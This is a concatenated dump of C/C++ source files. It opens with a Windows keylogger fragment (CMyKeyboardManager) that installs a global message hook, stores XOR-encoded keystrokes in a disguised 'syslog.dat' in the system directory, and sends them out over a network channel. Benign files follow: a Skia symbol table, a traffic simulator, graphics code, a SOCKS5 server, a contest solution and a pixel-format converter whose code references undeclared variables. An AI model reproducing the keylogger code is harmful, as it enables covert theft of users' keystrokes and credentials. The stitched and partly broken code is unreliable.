CShareRestrictedSD ShareRestrictedSD;
m_hMapping_File = CreateFileMapping((HANDLE)0xFFFFFFFF, ShareRestrictedSD.GetSA(), PAGE_READWRITE, 0, sizeof(TShared), _T("_kaspersky"));
if (m_hMapping_File == NULL)
{
OutputDebugString(_T("m_hMapping_File == NULL"));
return false;
}
// 注意m_pTShared不能进行清零操作,因为对像已经存在, 要在StartHook里进行操作
m_pTShared = (TShared *)MapViewOfFile(m_hMapping_File, FILE_MAP_WRITE | FILE_MAP_READ, 0, 0, 0);
if (m_pTShared == NULL)
return false;
return true;
}
bool CMyKeyboardManager::StartHook()
{
if (!Initialization())
return false;
ZeroMemory(m_pTShared, sizeof(TShared));
g_bSignalHook = true;
m_dwLastMsgTime = GetTickCount();
m_pTShared->hActWnd = NULL;
m_pTShared->hGetMsgHook = NULL;
m_pTShared->dwOffset = 0;
ZeroMemory(m_pTShared->str, sizeof(m_pTShared->str));
GetSystemDirectory(m_pTShared->strRecordFile, sizeof(m_pTShared->strRecordFile));
lstrcat(m_pTShared->strRecordFile, _T("\\syslog.dat"));
// 文件存在,就开始离线记录开启
if (GetFileAttributes(m_pTShared->strRecordFile) != -1)
m_pTShared->bIsOffline = true;
else
m_pTShared->bIsOffline = false;
if (m_pTShared->hGetMsgHook == NULL)
{
m_pTShared->hGetMsgHook = SetWindowsHookEx(WH_GETMESSAGE, GetMsgProc, g_hInstance, 0);
}
return true;
}
int CMyKeyboardManager::sendOfflineRecord()
{
int nRet = 0;
DWORD dwBytesRead = 0;
TCHAR strRecordFile[MAX_PATH];
GetSystemDirectory(strRecordFile, sizeof(strRecordFile));
lstrcat(strRecordFile, _T("\\syslog.dat"));
HANDLE hFile = CreateFile(strRecordFile, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile != INVALID_HANDLE_VALUE)
{
DWORD dwSize = GetFileSize(hFile, NULL);
char *lpBuffer = new char[dwSize];
ReadFile(hFile, lpBuffer, dwSize, &dwBytesRead, NULL);
// 解密
for (DWORD i = 0; i < dwSize; i++)
lpBuffer[i] ^= XOR_ENCODE_VALUE;
nRet = sendKeyBoardData((LPBYTE)lpBuffer, dwSize);
delete lpBuffer;
}
CloseHandle(hFile);
return nRet;
}
void CMyKeyboardManager::StopHook()
{
if (m_pTShared->hGetMsgHook != NULL)
UnhookWindowsHookEx(m_pTShared->hGetMsgHook);
m_pTShared->hGetMsgHook = NULL;
UnmapViewOfFile(m_pTShared);
CloseHandle(m_hMapping_File);
m_pTShared = NULL;
}
int CMyKeyboardManager::sendStartKeyBoard()
{
BYTE bToken[2];
bToken[0] = TOKEN_KEYBOARD_START;
bToken[1] = (BYTE)m_pTShared->bIsOffline;
return Send((LPBYTE)&bToken[0], sizeof(bToken));
}
int CMyKeyboardManager::sendKeyBoardData(LPBYTE lpData, UINT nSize)
{
DWORD dwBytesLength = 1 + nSize;
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, dwBytesLength);
lpBuffer[0] = TOKEN_KEYBOARD_DATA;
memcpy(lpBuffer + 1, lpData, nSize);
OutputDebugStringA((char*)lpBuffer);
int nRet = Send((LPBYTE)lpBuffer, dwBytesLength);
LocalFree(lpBuffer);
return nRet;
}
|
56b03711410c1ec7235fd4bf58ab100f28810f3c
|
0bcd128368e2de959ca648960ffd7944067fcf27
|
/src/sksl/ir/SkSLSymbolTable.h
|
6e425d786fbc2efe7b1bc897d4d09f55baf3f174
|
[
"BSD-3-Clause",
"LicenseRef-scancode-unknown-license-reference"
] |
permissive
|
google/skia
|
ac6e39179cd33cf0c8a46d29c1a70bf78b4d74ee
|
bf6b239838d3eb56562fffd0856f4047867ae771
|
refs/heads/main
| 2023-08-31T21:03:04.620734
| 2023-08-31T18:24:15
| 2023-08-31T20:20:26
| 15,773,229
| 8,064
| 1,487
|
BSD-3-Clause
| 2023-09-11T13:42:07
| 2014-01-09T17:09:57
|
C++
|
UTF-8
|
C++
| false
| false
| 6,581
|
h
|
SkSLSymbolTable.h
|
/*
* Copyright 2016 Google Inc.
*
* Use of this source code is governed by a BSD-style license that can be
* found in the LICENSE file.
*/
#ifndef SKSL_SYMBOLTABLE
#define SKSL_SYMBOLTABLE
#include "include/core/SkTypes.h"
#include "src/core/SkChecksum.h"
#include "src/core/SkTHash.h"
#include "src/sksl/ir/SkSLSymbol.h"
#include <cstddef>
#include <cstdint>
#include <forward_list>
#include <memory>
#include <string>
#include <string_view>
#include <type_traits>
#include <utility>
#include <vector>
namespace SkSL {
class Type;
/**
* Maps identifiers to symbols.
*/
class SymbolTable {
public:
explicit SymbolTable(bool builtin)
: fBuiltin(builtin) {}
explicit SymbolTable(std::shared_ptr<SymbolTable> parent, bool builtin)
: fParent(parent)
, fBuiltin(builtin) {}
/** Replaces the passed-in SymbolTable with a newly-created child symbol table. */
static void Push(std::shared_ptr<SymbolTable>* table) {
Push(table, (*table)->isBuiltin());
}
static void Push(std::shared_ptr<SymbolTable>* table, bool isBuiltin) {
*table = std::make_shared<SymbolTable>(*table, isBuiltin);
}
/**
* Replaces the passed-in SymbolTable with its parent. If the child symbol table is otherwise
* unreferenced, it will be deleted.
*/
static void Pop(std::shared_ptr<SymbolTable>* table) {
*table = (*table)->fParent;
}
/**
* If the input is a built-in symbol table, returns a new empty symbol table as a child of the
* input table. If the input is not a built-in symbol table, returns it as-is. Built-in symbol
* tables must not be mutated after creation, so they must be wrapped if mutation is necessary.
*/
static std::shared_ptr<SymbolTable> WrapIfBuiltin(std::shared_ptr<SymbolTable> symbolTable) {
if (!symbolTable) {
return nullptr;
}
if (!symbolTable->isBuiltin()) {
return symbolTable;
}
return std::make_shared<SymbolTable>(std::move(symbolTable), /*builtin=*/false);
}
/**
* Looks up the requested symbol and returns a const pointer.
*/
const Symbol* find(std::string_view name) const {
return this->lookup(MakeSymbolKey(name));
}
/**
* Looks up the requested symbol, only searching the built-in symbol tables. Always const.
*/
const Symbol* findBuiltinSymbol(std::string_view name) const;
/**
* Looks up the requested symbol and returns a mutable pointer. Use caution--mutating a symbol
* will have program-wide impact, and built-in symbol tables must never be mutated.
*/
Symbol* findMutable(std::string_view name) const {
return this->lookup(MakeSymbolKey(name));
}
/**
* Assigns a new name to the passed-in symbol. The old name will continue to exist in the symbol
* table and point to the symbol.
*/
void renameSymbol(Symbol* symbol, std::string_view newName);
/**
* Returns true if the name refers to a type (user or built-in) in the current symbol table.
*/
bool isType(std::string_view name) const;
/**
* Returns true if the name refers to a builtin type.
*/
bool isBuiltinType(std::string_view name) const;
/**
* Adds a symbol to this symbol table, without conferring ownership. The caller is responsible
* for keeping the Symbol alive throughout the lifetime of the program/module.
*/
void addWithoutOwnership(Symbol* symbol);
/**
* Adds a symbol to this symbol table, conferring ownership.
*/
template <typename T>
T* add(std::unique_ptr<T> symbol) {
T* ptr = symbol.get();
this->addWithoutOwnership(this->takeOwnershipOfSymbol(std::move(symbol)));
return ptr;
}
/**
* Forces a symbol into this symbol table, without conferring ownership. Replaces any existing
* symbol with the same name, if one exists.
*/
void injectWithoutOwnership(Symbol* symbol);
/**
* Forces a symbol into this symbol table, conferring ownership. Replaces any existing symbol
* with the same name, if one exists.
*/
template <typename T>
T* inject(std::unique_ptr<T> symbol) {
T* ptr = symbol.get();
this->injectWithoutOwnership(this->takeOwnershipOfSymbol(std::move(symbol)));
return ptr;
}
/**
* Confers ownership of a symbol without adding its name to the lookup table.
*/
template <typename T>
T* takeOwnershipOfSymbol(std::unique_ptr<T> symbol) {
T* ptr = symbol.get();
fOwnedSymbols.push_back(std::move(symbol));
return ptr;
}
/**
* Given type = `float` and arraySize = 5, creates the array type `float[5]` in the symbol
* table. The created array type is returned. If zero is passed, the base type is returned
* unchanged.
*/
const Type* addArrayDimension(const Type* type, int arraySize);
// Call fn for every symbol in the table. You may not mutate anything.
template <typename Fn>
void foreach(Fn&& fn) const {
fSymbols.foreach(
[&fn](const SymbolKey& key, const Symbol* symbol) { fn(key.fName, symbol); });
}
size_t count() {
return fSymbols.count();
}
/** Returns true if this is a built-in SymbolTable. */
bool isBuiltin() const {
return fBuiltin;
}
const std::string* takeOwnershipOfString(std::string n);
/**
* Indicates that this symbol table's parent is in a different module than this one.
*/
void markModuleBoundary() {
fAtModuleBoundary = true;
}
std::shared_ptr<SymbolTable> fParent;
std::vector<std::unique_ptr<const Symbol>> fOwnedSymbols;
private:
struct SymbolKey {
std::string_view fName;
uint32_t fHash;
bool operator==(const SymbolKey& that) const { return fName == that.fName; }
bool operator!=(const SymbolKey& that) const { return fName != that.fName; }
struct Hash {
uint32_t operator()(const SymbolKey& key) const { return key.fHash; }
};
};
static SymbolKey MakeSymbolKey(std::string_view name) {
return SymbolKey{name, SkChecksum::Hash32(name.data(), name.size())};
}
Symbol* lookup(const SymbolKey& key) const;
bool fBuiltin = false;
bool fAtModuleBoundary = false;
std::forward_list<std::string> fOwnedStrings;
skia_private::THashMap<SymbolKey, Symbol*, SymbolKey::Hash> fSymbols;
};
} // namespace SkSL
#endif
|
0df93cf51e9e64fabad09bd54f7d4e78a1928048
|
c96f97c4ce1776bba00a743200e67dcd3b6a2609
|
/street.h
|
5e2c622c15eb5e7df2a8df29bf77df6dab30f682
|
[] |
no_license
|
kamil-sita/simple-traffic-simulator
|
fdb6d8ab61c2ee019f6b662c37dcc7a4ce29dc99
|
b57c6ea790d557432f077c345a4981d7e7fb141d
|
refs/heads/master
| 2020-04-28T23:56:33.554757
| 2019-03-14T18:10:43
| 2019-03-14T18:10:43
| 175,675,237
| 2
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 2,308
|
h
|
street.h
|
#ifndef STREET_CL
#define STREET_CL
#include "positional.h"
#include "resizableArray.h"
#include "drawable.h"
#include "settings.h"
#include <SFML/Graphics/RenderWindow.hpp>
class Car;
class Intersection;
/***
* Klasa reprezentująca ulicę. Posiada logikę dotyczącą rysowania oraz poruszania się na niej samochodów.
*/
class Street : public Drawable {
private:
int posXstart;
int posYstart;
int posXend;
int posYend;
Intersection* neOutput = nullptr;
Intersection* swOutput = nullptr;
///północny/wschodni pas ruchu, przy czym chodzi o kierunek jazdy
resizableArray<Car*> neLane;
///południowy/zachodni pas ruchu, przy czym chodzi o kierunek jazdy
resizableArray<Car*> swLane;
position streetPosition;
const SimulationSettings& settings;
int streetSize;
void drawSelf(sf::RenderWindow& window);
void drawCars(sf::RenderWindow& window);
Intersection* getNextIntersection(Car* car);
public:
Street(int posXstart, int posYstart, int posXend, int posyEnd, position streetDirection, const SimulationSettings& settings);
///funckja która ustawia wyjazd północny/wschodni tej ulicy na dane skrzyżowanie
void connectAsOutputToNorthEast(Intersection* s);
///funckja która ustawia wyjazd południowy/zachodni tej ulicy na dane skrzyżowanie
void connectAsOutputToSouthWest(Intersection* s);
void update();
///zwraca wartość logiczną w zależności czy auto znajduje się na danej ulicy, przy czym jest to wartość graficzna (koordynaty x, y), a nie sprawdzenie zawartości listy
bool isOnStreet(Car* car);
///działa podobnie jak isOnStreet(), ale dodaje sobie backupLength, żeby auto nie "wyjeżdżało" poza ulicę czekając na światło
bool isOnStreet(Car* car, double backupLength);
void draw(sf::RenderWindow& window) override;
///dodaje auto do listy oraz ustawia jego parametry
void putCarNe(Car* car);
///dodaje auto do listy oraz ustawia jego parametry
void putCarSw(Car* car);
///zwraca następne auto po danym aucie. Może zwrócić auto z następnego skrzyżowania
Car* getNextCar(Car* car);
Car* getLastCar(compassDirection dir);
///usuwa auto ze wszystkich linii
void removeCar(Car* car);
void carUpdate(Car* car);
};
#endif
|
e65d93587aefeadcced367cebf7f0fbc453396f9
|
07e11d221dd63f137e3891a58d6f2a2152619072
|
/3_trigonometic/TrigonalObj.hpp
|
792786b2eca7975e586d55e06150b5e33f12ac94
|
[] |
no_license
|
nama-gatsuo/MathPow
|
11406d7b24dfc83c7a951c7177a571655a8a635e
|
3bf5aecd208e22ca837d7e1699ee4f074c247f96
|
refs/heads/master
| 2020-05-23T08:17:36.058804
| 2016-10-07T16:02:48
| 2016-10-07T16:02:48
| 70,242,428
| 3
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 3,042
|
hpp
|
TrigonalObj.hpp
|
class TrigonalObj {
public:
TrigonalObj() {
calc();
};
void calc() {
vbos.clear();
ps.clear();
r = ofRandom(10, 20);
r0 = ofRandom(30);
zFactor = floor(ofRandom(8));
if (ofRandom(1.0) > 0.5) {
funcB();
} else {
funcA();
}
};
void funcA() {
for (int iv = 0; iv < vCount; iv++) {
ofVbo vbo;
vector<ofVec3f> p;
for (int iu = 0; iu < uCount + 1; iu++) {
float u = ofMap(iu, 0, uCount, 0, TWO_PI);
float v = ofMap(iv, 0, vCount, 0, TWO_PI);
float x = (r0 + r * cos(u)) * cos(v) * 10;
float y = (r0 + r * sin(u)) * sin(v) * 10;
float z = (r * sin(u) + r * 0.5 * sin(zFactor * u)) * 10;
p.push_back( ofVec3f(x, y, z) );
v = ofMap(iv+1, 0, vCount, 0, TWO_PI);
x = (r0 + r * cos(u)) * cos(v) * 10;
y = (r0 + r * sin(u)) * sin(v) * 10;
z = (r * sin(u) + r * 0.5 * sin(zFactor * u)) * 10;
p.push_back( ofVec3f(x, y, z) );
}
vbo.setVertexData(p.data(), p.size(), GL_DYNAMIC_DRAW);
ps.push_back(p);
vbos.push_back(vbo);
}
}
void funcB() {
for (int iv = 0; iv < vCount; iv++) {
ofVbo vbo;
vector<ofVec3f> p;
for (int iu = 0; iu < uCount + 1; iu++) {
float u = ofMap(iu, 0, uCount, 0, TWO_PI);
float v = ofMap(iv, 0, vCount, 0, TWO_PI);
float x = (r0 + r * cos(u)) * cos(v) * 10;
float y = (r0 + r * cos(u)) * sin(v) * 10;
float z = (r * sin(u) + r * 0.5 * sin(zFactor * v)) * 10;
p.push_back( ofVec3f(x, y, z) );
v = ofMap(iv+1, 0, vCount, 0, TWO_PI);
x = (r0 + r * cos(u)) * cos(v) * 10;
y = (r0 + r * cos(u)) * sin(v) * 10;
z = (r * sin(u) + r * 0.5 * sin(zFactor * v)) * 10;
p.push_back( ofVec3f(x, y, z) );
}
vbo.setVertexData(p.data(), p.size(), GL_DYNAMIC_DRAW);
ps.push_back(p);
vbos.push_back(vbo);
}
}
void draw() {
for (int i = 0; i < vbos.size(); i++) {
vbos[i].draw(GL_TRIANGLE_STRIP, 0, ps[i].size());
}
};
vector<ofVbo> vbos;
vector<vector<ofVec3f>> ps;
float uMin, uMax, vMin, vMax;
float r, r0;
float zFactor;
const int uCount = 100, vCount = 100;
};
|
4e562327ac893b59e8fe0ce8de1914cab118fd09
|
1e98b6b167d788a4f06f10de9e9d230ec9ae2c73
|
/src/foundation/math/d3dx9/d3dx9_plane.cc
|
a5e55b5721e67b609c7f17900c882e3070be908a
|
[] |
no_license
|
myevan/nebulax
|
7b6d95e9420dddad1d153062953397f82c15d771
|
d50dfc5d933c2892915db9bbb688dffd3618fa52
|
refs/heads/master
| 2016-09-06T10:50:24.827413
| 2015-03-28T17:20:59
| 2015-03-28T17:20:59
| 33,028,481
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 606
|
cc
|
d3dx9_plane.cc
|
//------------------------------------------------------------------------------
// plane.cc
// (C) 2007 Radon Labs GmbH
//------------------------------------------------------------------------------
#include "stdneb.h"
#include "math/d3dx9/d3dx9_plane.h"
#include "math/d3dx9/d3dx9_matrix44.h"
namespace Math
{
//------------------------------------------------------------------------------
/**
*/
plane
plane::transform(const plane& p, const matrix44& m)
{
plane res;
D3DXPlaneTransform((D3DXPLANE*)&res, (CONST D3DXPLANE*)&p, (CONST D3DXMATRIX*)&m);
return res;
}
} // namespace Math
|
b429551778a632af9fd30fe3ab5cd9e981abf368
|
0e5df66c9113eb696e2ecd13e0de662ae806e1da
|
/main.cpp
|
d8bb0eb8fca55dabbbdc8b8e7be792cd728a73af
|
[] |
no_license
|
e-ko8/SOCKS5-Server
|
2b9ce5ef8c4c4091729d471faf4be632e13c0de5
|
4feb036faa3d6f23c8fb5e6a343243dfebf384e4
|
refs/heads/master
| 2023-04-02T18:54:55.355033
| 2021-04-13T10:29:54
| 2021-04-13T10:29:54
| 354,035,854
| 1
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,167
|
cpp
|
main.cpp
|
#include "Server.hpp"
#include "Starter.hpp"
#include <iostream>
int main(int argc, char* argv[])
{
try
{
Starter starter("SOCKS5-Server");
starter.AddArgument("help", "Arguments description");
starter.AddRequiredArgument<std::uint16_t>("port","Listening port");
starter.AddRequiredArgument<std::size_t>("threads","Threads number");
starter.AddArgument("logpath","Logger path", std::string{});
starter.ParseArguments(argc,argv);
if(!starter.Failed())
{
ServerParameters input{};
starter.GetArgValue("port", input.port);
starter.GetArgValue("threads", input.threads);
boost::asio::io_context ctx;
std::mutex mutex;
Listener listener{ctx};
std::string logpath;
starter.GetArgValue("logpath", logpath);
Logger logger{logpath};
CommonObjects obj{listener, logger,mutex, ctx};
Server proxy(input, obj);
proxy.StartListening();
}
}
catch(std::exception& error)
{
std::cerr << error.what() << "\n";
}
return 0;
}
|
dc70dda4c22615aaaf0e82aaa971342b30d63ba7
|
b16d370b74422644e2cc92cb1573f2495bb6c637
|
/c/acmp/acmp448.cpp
|
79bf4b4acb0e2b26f71e0ab028907a7f3661bb69
|
[] |
no_license
|
deniskokarev/practice
|
8646a3a29b9e4f9deca554d1a277308bf31be188
|
7e6742b6c24b927f461857a5509c448ab634925c
|
refs/heads/master
| 2023-09-01T03:37:22.286458
| 2023-08-22T13:01:46
| 2023-08-22T13:01:46
| 76,293,257
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 2,343
|
cpp
|
acmp448.cpp
|
/* ACMP 448 */
#include <iostream>
#include <vector>
// основаня идея решения базируется на вот такой табличке
// где * означает простую сумму i+j
// 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
// 1 * * * * * * * *
// 2 * * * * * * *
// 3 * * * * * * *
// 4 * * * * * * *
// 5 * * * * * *
// 6 * * * * * *
// 7 * * * * *
// 8 * * * * *
// 9 * * * * * *
// 10 * * * * * *
// 11 * * * * * *
// 12 * * * * * *
// 13 * * * * *
// 14 * * * * *
// 15 * * * * *
// 16 * * * * *
// 17 * * * * *
// 18 * * * * *
// 19 * * * *
// 20 * * * *
using namespace std;
struct isprime {
vector<bool> p;
isprime(int sz):p(sz,true) {
p[0] = p[1] = false;
for (int i=2; i<sz; i++)
if (p[i])
for (int j=i+i; j<sz; j+=i)
p[j] = false;
}
bool operator[](int i) const {
return p[i];
}
};
void prn_diagonal(int n, int beg) {
for (int i=beg,j=n;i<j;i++,j--)
cout << i << ' ' << j << '\n';
// cout << i << ' ' << j << endl; // так слишком медленно
}
int main() {
ios_base::sync_with_stdio(false); // иначе слишком медленно
int n;
cin >> n;
isprime isprime(2*n);
while (n>1) {
for (int i=1; i<n; i++) {
if (isprime[n+i]) {
prn_diagonal(n,i);
n = i-1;
break;
}
}
}
return 0;
}
|
e30bd34f1a3c1837278feaf14e90d2af5a370343
|
7b3899819c46272554c0ab2a584030ad1fc92e79
|
/antsupporter/src/antlib/include/Ant_ErrorDef.h
|
242413311fd2099e016be36d0b5ee40c2a6c1d97
|
[
"Apache-2.0"
] |
permissive
|
summerquiet/NmeaAnalysisTool
|
63a303f5fd0b7cb76704b6f74908afe9a0547291
|
73d10e421a5face988444fb04d7d61d3f30333f7
|
refs/heads/master
| 2020-04-05T08:06:51.994203
| 2018-11-08T12:48:55
| 2018-11-08T12:48:55
| 156,701,514
| 1
| 1
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 2,072
|
h
|
Ant_ErrorDef.h
|
/**
* Copyright @ 2014 - 2017 Personal
* All Rights Reserved.
*/
#ifndef ANT_ERRORDEF_H
#define ANT_ERRORDEF_H
#ifndef __cplusplus
# error ERROR: This file requires C++ compilation (use a .cpp suffix)
#endif
/*---------------------------------------------------------------------------*/
// Include files
#ifndef ANT_NEWTYPESDEFINE_H
# include "Ant_NewTypesDefine.h"
#endif
/*---------------------------------------------------------------------------*/
// Namespace
namespace antsupporter {
/*---------------------------------------------------------------------------*/
// Value define
const INT ERROR_FILEINFO_SIZE = 88;
const DWORD ERROR_ERRORNUM_MAX = 0xFFFFFFFF;
const INT ERROR_MAX_PATH = MAX_PATH;
const INT ERROR_DEFAULT_NUM = 50;
//error type
enum AntErrorType
{
ANT_ERROR_NON = -1,
ANT_ERROR_ERROR,
ANT_ERROR_DEBUG,
ANT_ERROR_FATAL,
//type number
ANT_ERROR_TYPE_NUM
};
//Error memory state
enum AntErrorMemState
{
ANT_ERROR_MEM_NOTREAD,
ANT_ERROR_MEM_GOTTEN,
ANT_ERROR_MEM_UPDATE
};
//error date
struct ErrorDate
{
WORD wYear;
WORD wMon;
WORD wDay;
WORD wPading;
};
//Error time
struct ErrorTime
{
WORD wHour;
WORD wMin;
WORD wSec;
WORD wMSec;
};
//Error record
struct ErrorRecord
{
DWORD dwErrorNum;
CHAR szFileInfo[ERROR_FILEINFO_SIZE];
DWORD dwErrLine;
LONG lErrCode;
DWORD dwOption;
ErrorDate sErrDate;
ErrorTime sErrTime;
};
//Error header
struct ErrorHeader
{
AntErrorMemState eMemState;
BOOL bMaxRecNumFlag;
DWORD dwRecordNum;
DWORD dwNextPos;
DWORD dwErrNum;
};
/*---------------------------------------------------------------------------*/
// Namespace
}
/*---------------------------------------------------------------------------*/
#endif // ANT_ERRORDEF_H
/*---------------------------------------------------------------------------*/
/* EOF */
|
73e7ba1eca70d7a5df110663381f64d6deeb9477
|
bde0ad2a46176dd0523f493b69808c90da6b125b
|
/d2d_stuff.cpp
|
43e15b6217e49611d1582d14294e353045d26b96
|
[] |
no_license
|
bustercopley/advent2019
|
d4ab325b55486550c871388a593ed79fa605ae75
|
97263d7f442f7dc862caff834966d9ff9f4a5579
|
refs/heads/master
| 2020-11-25T17:54:10.517921
| 2019-12-23T23:11:25
| 2019-12-23T23:11:25
| 228,781,333
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 4,496
|
cpp
|
d2d_stuff.cpp
|
#include "precompiled.h"
#include "d2d_stuff.h"
struct BeginDrawGuard {
BeginDrawGuard(ID2D1RenderTarget *r) : r(r) { r->BeginDraw(); }
~BeginDrawGuard() noexcept(false) { CHECK_HRESULT(r->EndDraw()); }
ID2D1RenderTarget *r;
};
const text_style text_styles[text_style::count] = {
// For animated labels (semibold; no grid fit, no snap, vertical antialising).
{L"Calibri", 24.0f, DWRITE_FONT_WEIGHT_BOLD, DWRITE_FONT_STYLE_NORMAL,
DWRITE_FONT_STRETCH_NORMAL, DWRITE_RENDERING_MODE_NATURAL_SYMMETRIC,
DWRITE_GRID_FIT_MODE_DISABLED, D2D1_DRAW_TEXT_OPTIONS_NO_SNAP},
// For static labels (normal weight, grid fit, snap, no vertical antialising).
{L"DSEG7 Classic Mini", 24.0f, DWRITE_FONT_WEIGHT_NORMAL,
DWRITE_FONT_STYLE_ITALIC, DWRITE_FONT_STRETCH_NORMAL,
DWRITE_RENDERING_MODE_NATURAL, DWRITE_GRID_FIT_MODE_ENABLED,
D2D1_DRAW_TEXT_OPTIONS_NONE},
};
void d2d_stuff_t::render_frames(std::size_t thread_count,
text_style::type caption_style, int caption_colour_index) {
std::vector<std::thread> threads;
for (std::size_t i = 0; i != thread_count; ++i) {
std::size_t begin = std::size(work) * i / thread_count;
std::size_t end = std::size(work) * (i + 1) / thread_count;
threads.emplace_back(thread_function, this, max_width, max_height, begin,
end, caption_style, caption_colour_index);
}
for (std::size_t i = 0; i != thread_count; ++i) {
threads[i].join();
}
}
void d2d_stuff_t::thread_function(int width, int height,
std::size_t frames_begin, std::size_t frames_end,
text_style::type caption_style, int caption_color_index) {
d2d_t d2d;
d2d_thread_t d2d_thread(d2d, 10 * width, 10 * height + 30);
auto RenderTarget = d2d_thread.GetRenderTarget();
const D2D1::ColorF brush_colors[] = {
{0.0f, 0.0f, 0.0f, 1.0f}, // 0: black
{1.0f, 0.0f, 0.0f, 1.0f}, // 1: red
{0.0f, 1.0f, 0.0f, 1.0f}, // 2: green
{0.298f, 0.463f, 1.000f, 1.0f}, // 3: blue
{0.0f, 1.0f, 1.0f, 1.0f}, // 4: cyan
{1.0f, 0.0f, 1.0f, 1.0f}, // 5: magenta
{1.0f, 1.0f, 0.0f, 1.0f}, // 6: yellow
{1.0f, 1.0f, 1.0f, 1.0f}, // 7: white
{0.2f, 0.0f, 0.0f, 1.0f}, // 8: dark red
{0.600f, 0.420f, 0.216f, 1.0f}, // 9: light brown
{0.220f, 0.161f, 0.039f, 1.0f}, // 10: dark brown
};
ID2D1SolidColorBrushPtr Brushes[std::size(brush_colors)];
for (std::size_t i = 0; i != std::size(brush_colors); ++i) {
Brushes[i] = d2d_thread.CreateSolidBrush(brush_colors[i]);
}
for (std::size_t index = frames_begin; index != frames_end; ++index) {
const std::vector<int> &pixels = work[index];
int w = widths[index];
int h = (int)(std::size(pixels) / (std::size_t)w);
{
BeginDrawGuard guard(RenderTarget);
RenderTarget->Clear({0.0f, 0.0f, 0.0f, 1.0f});
for (int y = 0; y != h; ++y) {
std::size_t base = w * y;
for (int x = 0; x != w; ++x) {
std::size_t index = base + x;
D2D1_RECT_F rect = {
x * 10.0f, y * 10.0f, x * 10.0f + 10.0f, y * 10.0f + 10.0f};
RenderTarget->FillRectangle(
&rect, Brushes[pixels[index] % std::size(brush_colors)]);
}
}
if (caption_style == text_style::segment) {
std::basic_string<WCHAR> all_on(std::size(captions[index]), L'8');
d2d_thread.draw_text(all_on.c_str(), 1.0f, height * 10.0f + 1.0f,
Brushes[8], caption_style, text_anchor::topleft);
d2d_thread.draw_text(captions[index].c_str(), 1.0f,
height * 10.0f + 1.0f, Brushes[1], caption_style,
text_anchor::topleft);
} else {
d2d_thread.draw_text(captions[index].c_str(), 1.0f,
height * 10.0f + 1.0f, Brushes[caption_color_index], caption_style,
text_anchor::topleft);
}
}
std::basic_ostringstream<WCHAR> ostr;
ostr << L".obj/frame-" << std::setfill(L'0') << std::setw(4) << index
<< L".png";
auto filename = ostr.str();
d2d_thread.write_png(filename.c_str());
}
}
void d2d_stuff_t::enqueue(const std::basic_string<WCHAR> &caption,
std::vector<int> &&pixels, int width, int height) {
if (width > 0 && height > 0) {
captions.push_back(std::move(caption));
widths.push_back(width);
work.push_back(std::move(pixels));
max_width = std::max(max_width, width);
max_height = std::max(max_height, height);
}
}
|
86944cfaaa286cb2b791b632287f5f52dba71301
|
e29d4daf35bdf5d6fdc0a2650b5412a5b50c084f
|
/src/format_convert.cpp
|
8e41f6d50e3847b73b359df12dc0bf08f36b9ed4
|
[] |
no_license
|
yejingyang/video
|
f722857ca89d3422f9d3eb4983d43b412679c6c6
|
7b3f55a3dd600dfeee45c9f6b001bf3febb6e7a7
|
refs/heads/master
| 2020-05-29T08:57:26.815907
| 2013-05-12T14:19:35
| 2013-05-12T14:19:35
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 3,167
|
cpp
|
format_convert.cpp
|
/*
*
*
*
*/
#include <stdio.h>
#include "include/format_convert.h"
void fc_init(int32_t width, int32_t height)
{
format_convert_config *fc_config = &g_format_convert_config;
fc_config->width = width;
fc_config->height = height;
printf("format convert init successfully\n");
}
void fc_yuyv_to_i420_x264(uint8_t *pic_in, x264_picture_t *x264_pic_out)
{
format_convert_config *fc_config = &g_format_convert_config;
int32_t width = fc_config->width;
int32_t height = fc_config->height;
int32_t half_width = 0;
int32_t bytes_per_line = 0;
uint8_t *pic_y = NULL;
uint8_t *pic_u = NULL;
uint8_t *pic_v = NULL;
uint8_t *in = pic_in;
int32_t i = 0;
int32_t j = 0;
//check input parameters
if (NULL == pic_in || NULL == x264_pic_out)
{
printf("input parameter error on func:%s\n", __func__);
return;
}
x264_pic_out->img.i_plane = 3;
x264_pic_out->img.i_stride[0] = width;
x264_pic_out->img.i_stride[1] = (width >> 1);
x264_pic_out->img.i_stride[2] = (width >> 1);
pic_y = x264_pic_out->img.plane[0];
pic_u = x264_pic_out->img.plane[1];
pic_v = x264_pic_out->img.plane[2];
bytes_per_line = width * 2;
half_width = width / 2;
for (i = 0; i < height; i += 2)
{
for (j = 0; j < half_width; j += 4)
{
y[0] = in[0];
u[0] = in[1];
y[1] = in[2];
v[0] = in[3];
y += 2;
u++;
v++;
in += 4;
}
for (j = 0; j < half_width; j += 4)
{
y[0] = in[0];
y[1] = in[2];
y += 2;
in += 4;
}
}
}
void fc_yuyv_to_i420_mfc6410(uint8_t *pic_in, uint8_t *pic_out)
{
format_convert_config *fc_config = &g_format_convert_config;
int32_t width = fc_config->width;
int32_t height = fc_config->height;
int32_t half_width = 0;
int32_t bytes_per_line = 0;
uint8_t *pic_y = NULL;
uint8_t *pic_u = NULL;
uint8_t *pic_v = NULL;
uint8_t *in = pic_in;
int32_t i = 0;
int32_t j = 0;
//check input parameters
if (NULL == pic_in || NULL == pic_out)
{
printf("input parameter error on func:%s\n", __func__);
return;
}
pic_y = pic_out;
pic_u = pic_out + (width * height);
pic_v = pic_u + ((width * height) >> 2);
bytes_per_line = width << 1;
half_width = width >> 1 ;
for (i = 0; i < height; i += 2)
{
for (j = 0; j < half_width; j += 4)
{
y[0] = in[0];
u[0] = in[1];
y[1] = in[2];
v[0] = in[3];
y += 2;
u++;
v++;
in += 4;
}
for (j = 0; j < half_width; j += 4)
{
y[0] = in[0];
y[1] = in[2];
y += 2;
in += 4;
}
}
}
void fc_deinit()
{
printf("format convert deinit successfully!\n");
}
|
9ae1f00aa2bce1164588b7c3993eb081b4e22a0d
|
dcbc0fbcf689a9a240ce5efe2629ffd607b9ce30
|
